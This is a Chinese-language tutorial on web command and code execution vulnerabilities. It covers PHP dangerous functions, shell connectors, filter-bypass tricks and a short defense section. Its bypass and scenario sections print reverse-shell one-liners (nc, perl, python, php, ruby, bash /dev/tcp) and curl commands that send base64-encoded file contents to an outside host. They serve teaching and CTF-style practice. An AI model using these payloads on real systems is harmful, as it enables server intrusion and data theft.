0x01 漏洞概述
命令执行漏洞就是服务器端没有对客户端用户输入的命令进行过滤,导致用户可以通过任意拼接系统命令,使服务器端成功执行任意系统命令。为什么客户端能直接对服务器执行命令呢,因为在服务器安装的web程序,web框架和web组件等外部程序有时候需要调用执行命令的函数,所以如果没有对客户端用户输入的命令进行过滤,就会使得用户通过外部程序直接编写和执行系统的命令函数
如PHP中的system()、exec()、shell_exec()、passthru()、popen()、proc_popen()等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击
漏洞利用条件
- 用户能够控制的函数输入
- 存在可以执行代码或者系统命令的危险函数
漏洞产生原因
1.没有对用户输入进行过滤或过滤不严 例如,没有过滤 &、&&、| 、||等连接符
2.系统漏洞造成的命令执行 bash 破壳漏洞(CVE-2014-6271),该漏洞可以构造环境变量的值来执行具有攻击力的脚本代码,会影响到 bash 交互的多种应用,如 http、ssh 和 dhcp 等
3.调用的第三方组件存在代码执行漏洞 例如:php(system()、shell_exec()、exec()、eval() JAVA 中的命令执行漏洞(struts2/ElasticsearchGroovy等) ThinkPHP命令执行
0x02 常见危险函数
PHP:exec、shell_exec、system、passthru、popen、proc_open等 ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等 Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec
(1)system
该函数会把执行结果输出
并把输出结果的最后一行作为字符串返回
如果执行失败则返回false
这个也最为常用
<?php highlight_file(__FILE__); system('pwd'); system('whoami'); ?>
(2)exec
不输出结果
返回执行结果的最后一行
可以使用output进行输出
<?php highlight_file(__FILE__); exec('pwd',$b); var_dump($b); ?>
(3)passthru
此函数只调用命令
并把运行结果原样地直接输出
没有返回值。
<?php highlight_file(__FILE__); passthru('ls'); ?>
(4)shell_exec
不输出结果,返回执行结果
使用反引号(``)时调用的就是此函数
<?php highlight_file(__FILE__); var_dump(shell_exec('ls')); ?>
(5)ob_start
此函数将打开输出缓冲
当输出缓冲激活后,脚本将不会输出内容(除http标头外)
相反需要输出的内容被存储在内部缓冲区中。
内部缓冲区的内容可以用 ob_get_contents()
函数复制到一个字符串变量中
想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush()
函数
另外, 使用 ob_end_clean()
函数会静默丢弃掉缓冲区的内容
<?php ob_start("system"); echo "whoami"; ob_end_flush(); ?>
命令连接符
Windows和Linux都支持的命令连接符:
cmd1 | cmd2 只执行cmd2 cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行 cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2 cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2
Linux还支持分号;
cmd1 ; cmd2 按顺序依次执行,先执行cmd1再执行cmd2
0x03 代码执行漏洞
由于服务器对危险函数过滤不严
导致用户输入的一些字符串可以被转换成代码来执行
从而造成代码执行漏洞
成因
1.用户能够控制函数输入
2.存在可执行代码的危险函数
常见代码执行函数
PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0) Javascript: eval Vbscript:Execute、Eval Python: exec
常用代码执行函数
(1)${}
执行代码
中间的php代码将会被解析
<?php ${phpinfo()}; ?>
(2)eval
将字符串当做函数进行执行
需要传入一个完整的语句
必须以分号 ;
结尾
最常用的函数
<?php eval('echo "hello";'); ?>
(3)assert
判断是否为字符串
是则当成代码执行
在php7.0.29之后的版本不支持动态调
低版本 <?php assert($_POST['a']); ?> 7.0.29之后 <?php $a = 'assert'; $a(phpinfo()); ?>
(4)preg_replace
用来执行一个正则表达式的搜索和替换
执行代码需要使用/e
修饰符
前提是不超过php7
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
$pattern
: 正则表达式匹配的内容
$replacement
: 用于替换的字符串或字符串数组。
$subject
: 要搜索替换的目标字符串或字符串数组。
<?php preg_replace("/pat/e", $_GET['reg'], 'my pat'); ?>
(5)create_function
用来创建匿名函数
create_function(string $args,string $code
args是要创建的函数的参数 code是函数内的代码
一个demo
<?php error_reporting(0); $sort_by = $_GET['sort_by']; $sorter = 'strnatcasecmp'; $databases=array('1234','4321'); $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; usort($databases, create_function('$a, $b', $sort_function)); ?
payload
?sort_by="]);}phpinfo();/*
(6)array_map
为数组的每个元素应用回调函数
<?php highlight_file(__FILE__); $a = $_GET['a']; $b = $_GET['b']; $array[0] = $b; $c = array_map($a,$array); ?>
payload
?a=assert&b=phpinfo();
(7)call_user_func
回调函数,可以使用is_callable查看是否可以进行调用
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数
其余参数是回调函数的参数
<?php highlight_file(__FILE__); $a = 'system'; $b = 'pwd'; call_user_func($a,$b); call_user_func('eval','phpinfo()'); ?>
(8)call_user_func_array
回调函数,参数为数组
mixed call_user_func_array ( callable $callback , array $param_arr )
第一个参数作为回调函数(callback)调用
把参数数组作(param_arr)为回调函数的的参数传入
<?ph phighlight_file(__FILE__); $array[0] = $_POST['a']; call_user_func_array("assert",$array); ?>
(9)array_filter
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数
如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中
数组的键名保留不变
<?php highlight_file(__FILE__); $array[0] = $_GET['a']; array_filter($array,'assert'); ?>
(10)usort
使用自定义函数对数组进行排序
bool usort ( array &$array , callable $value_compare_func )
本函数将用用户自定义的比较函数对一个数组中的值进行排序
如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数
<?php highlight_file(__FILE__); usort(...$_GET); php5.6以上的写法 #usort($_GET[1],'assert'); php5.6可用 ?
payload
1[]=phpinfo()&1[]=123&2[]=assert
命令执行与代码执行的区别
代码执行:执行效果完全依赖于语言本身
命令执行:执行效果不受语言本身、命令本身的限制
0x04 常用命令拼接符号
Windows支持的管道符
常见分隔符
换行符 %0a 回车符 %0d连 续指令 ;后 台进程 & 管道符 | 逻辑 ||、&&
1. "|":直接执行后面的语句
格式:命令1|命令2…命令n
规则:当命令1执行成功时才执行命令2,如果命令1未执行成功则不会执行命令2
示例:
命令1执行成功,执行命令2
2. "||":如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假
格式:命令1||命令2…命令n
规则:或运算,如果命令1执行失败,执行命令2,如果命令1执行成功,则不执行命令2
示例:
命令1错误,命令2成功执行
命令1成功,命令2不执行
3. "&":如果前面的语句执行为错则直接执行后面的语句,此时后面语句无论真假整个语句都是假
格式:命令1&命令2…命令n
规则:命令1和命令2一起执行,互不影响
示例:
4."&&":如果前面的语句为假则直接出错,不执行后面的语句,前面语句只能为真
格式:命令1&&命令2…命令n
规则:命令1和命令2一起执行,如果命令1出错命令2则不执行
示例:
Linux系统支持的管道符
1.";":执行完前面的语句再执行后面的
格式:命令1;命令2…命令n
规则:隔开多条shell命令一起执行
示例:
通过;
执行多条命令
2."|":显示后面语句的执行结果
格式:命令1|命令2…命令n
规则:隔开多条shell命令,只执行最后一个
示例:
通过|
执行最后一条命令(命令执行时,Linux和Windows系统一样)
3."||":当前面的语句执行出错时。执行后面的语句
格式:命令1||命令2…命令n
规则:隔开多条shell命令,只执行第一个
示例:
通过||
执行第一条命令,如果第一个命令出错,则向后执行(命令执行时,Linux和Windows系统一样)
4."&":如果前面的语句为假,则直接执行后面的语句,前面的语句可真可假
格式:命令1&命令2…命令n
规则:隔开多条shell命令,只执行第一个
示例:
通过&
任务放到后台执行。看下图,输出多了一串数字,这个数字就是进程 ID。在 Linux 系统中运行的每一个进程都有一个唯一的进程 ID,可以使用进程 ID 来暂停、恢复或者终止对应的进程(命令执行时,Linux和Windows系统一样)
5."&&":如果前面的语句为假,则直接出错,不执行后面的语句,前面的语句只能为真(命令执行时,Linux和Windows系统一样)
0x05 常见绕过姿势(Linux)
空格绕过
< -- 重定向,如cat<flag.php <> -- 重定向,如cat<>flag.php %09 -- 需要php环境,如cat%09flag.php ${IFS} -- 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php $IFS$9 -- 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
使用转义符号
ca\t /fl\ag cat fl''ag
利用拼接绕过
a=c;b=at;c=flag;$a$b $c a=c;b=at;c=heb;d=ic;ab{c}{d}
利用编码绕过
base64编码
echo MTIzCg==|base64 -d 其将会打印123 echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag
hex编码
echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag
单引号、双引号绕过
ca''t flag 或ca""t flag ca''t te""st.php
反斜杠绕过
ca\t fl\ag cat te\st.php
绕过IP句点
网络地址可以转换成数字地址,比如127.0.0.1可以转化为2130706433。 可以直接访问http://2130706433或者http://0x7F000001,这样就可以绕过.的ip过滤。 在线转换地址:数字转IP地址 IP地址转数字 域名转数字IP
在线工具:
http://www.msxindl.com/tools/ip/ip_num.asp --数字转IP
利用Linux换行执行
例如想要获取 flag.txt 中的内容,需要 cat flag.txt 命令
利用通配符获取内容
linux
?可以匹配一个字符
*可以匹配很多字符
3. 绕过长度限制
利用 > 符号创建文件
>flag.txt
通过 > 将命令结果存入文件中
echo "hello hacker" > flag.txt
>> 符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容
echo "hello hacker" >> flag.txt
反向连接(Reverse Shell)的各类技术方法
- ; rm/tmp/f; mkfifo/tmp/f; cat /tmp/f|/bin/sh-i2>&1|nc 192.168.80.30 443 >/tmp/f - ; perl-e 'use Socket;$i="192.168.80.30";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh-i");};' - ; python-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.30",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' - ; php-r '$sock=fsockopen("192.168.80.30",443);exec("/bin/sh-i<&3 >&3 2>&3");’ - ; ruby-rsocket-e'f=TCPSocket.open("192.168.80.30",443).to_i;execsprintf("/bin/sh-i<&%d >&%d 2>&%d",f,f,f)'
一些场景应用
1、无任何过滤或简单过滤
▪http://192.168.80.30/medium.php?name=%0acat flag.php ▪http://192.168.80.30/medium.php?name=$(cat flag.php)
2、过滤了;,|,&,`
▪http://192.168.80.30/high.php?name=$(cat<flag.php) ▪http://192.168.80.30/high.php?name=$(cat$IFS./flag.php)
3、过滤了;,|,&,`,\s
▪http://192.168.80.30/high.php?name=$(cat<flag.php) ▪http://192.168.80.30/high.php?name=$(cat$IFS./flag.php)
4、过滤了关键词,比如cat
▪http://192.168.80.30/low.php?name=;c''at flag.php ▪http://192.168.80.30/low.php?name=;c\at flag.php ▪http://192.168.80.30/low.php?name=;c$@at flag.php ▪http://192.168.80.30/high.php?name=$(c\at<flag.php) ▪http://192.168.80.30/high.php?name=$(tac<flag.php) ▪http://192.168.80.30/high.php?name=$(more<flag.php) ▪http://192.168.80.30/high.php?name=$(tail<flag.php)
5、页面无命令结果的回显
▪http://192.168.80.30/noecho.php?name=;curl 192.168.9.111:1234?hh=`ls|base64` ▪http://192.168.80.30/noecho.php?name=;curl 192.168.9.111:1234?hh=`cat flag.php|base64` ▪http://192.168.80.30/noecho.php?name=%0acurl 192.168.9.111:1234?hh=`cat flag.php|base64` ▪http://192.168.80.30/noecho.php?name=%3Bbash%20-c%20%22bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.9.111%2f1234%200%3E%261%22%20 ▪http://192.168.80.30/noecho.php?name=;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.9.111",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
0x06 常见linux命令
ls命令
ls -a 列出文件下所有的文件,包括以“.“开头的隐藏文件(linux下文件隐藏文件是以.开头的,如果存在..代表存在着父目录)。 ls -l 列出文件的详细信息,如创建者,创建时间,文件的读写权限列表等等。 ls -F 在每一个文件的末尾加上一个字符说明该文件的类型。"@"表示符号链接、"|"表示FIFOS、"/"表示目录、"="表示套接字。 ls -s 在每个文件的后面打印出文件的大小。size(大小) ls -t 按时间进行文件的排序 Time(时间) ls -A 列出除了"."和".."以外的文件。 ls -R 将目录下所有的子目录的文件都列出来,相当于我们编程中的“递归”实现 ls -L 列出文件的链接名。Link(链接) ls -S 以文件的大小进行排序
读文件命令
cat--由第一行开始显示内容,并将所有内容输出 tac--从最后一行倒序显示内容,并将所有内容输出 more-- 根据窗口大小,一页一页的现实文件内容 less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符 head-- 只显示头几行 tail --只显示最后几行 nl --类似于cat -n,显示时输出行号 tailf-- 类似于tail -f vim --使用vim工具打开文本 vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出
0x07 漏洞防御
1.尽量使用自定义函数或函数库实现外部应用程序命令的功能。在执行system、eval等命令执行功能的函数前,要确认参数内容。
2.参数的值尽量使用引号包括,插入前使用addslashes转义(addslashes、魔数引号、htmlspecialchars、htmlentities 、mysql_real_escape_string)
3.在进入执行命令函数前进行严格的检测和过滤以及对敏感字符进行转义
如:cat、tail、find、echo、tar等等 如:|、||、&、;、<、>、$等